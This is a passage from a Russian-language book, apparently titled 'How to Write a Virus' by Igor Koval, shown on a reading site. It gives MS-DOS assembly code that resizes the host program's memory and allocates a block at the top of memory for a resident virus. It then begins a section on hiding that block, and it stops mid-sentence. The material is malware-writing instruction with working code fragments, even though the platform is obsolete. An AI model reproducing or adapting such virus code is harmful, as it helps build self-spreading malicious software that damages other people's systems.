"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

;не нужно !
; _______________________________________________
;| Закажем свободный блок памяти,чтобы можно было|
;| записать в него резидентную часть вируса ... |
;|_______________________________________________|

sub bx,vir_par + 2 ;Оставим вирусу
;на 2 параграфа
;больше, чем
;он сам занимает
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...

mov ah,48h ;Попросим DOS
;отдать свобод-
;ный блок нам .
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes ;Ошибка !

В приведенном фрагменте использованы функции :

4Ah - изменение размера блока памяти, а также
48h - выделение блока памяти .

Об их использовании вы можете прочесть в ПРИЛОЖЕ-
НИИ 1.
Работа вышеприведенных команд весьма проста и осо-
бых пояснений не требует .Стоит лишь заметить, что
для загрузки вирусного кода выделяется область в
в самом " верху " свободной оперативной памяти,что
является почти обязательным для подавляющего боль-
шинства вирусных программ .


2.9 Делаем вирус " незаметным "

К сожалению,выбранный нами способ поиска свободно-
го блока памяти имеет один скрытый недостаток .Как
вы, наверное, знаете, при завершении программы DOS
освобождает блок памяти, который эта программа за-
нимает .Кроме того, освобождаются также все блоки,
которые были распределены программе по ее запро-
сам .
Предположим, вирус стартовал из зараженной програ-
ммы, с помощью описанных ранее функций MS DOS на-
шел подходящий блок памяти и записал в него свой
код, предварительно переписав на этот код те или
иные прерывания .После этого он передает управле-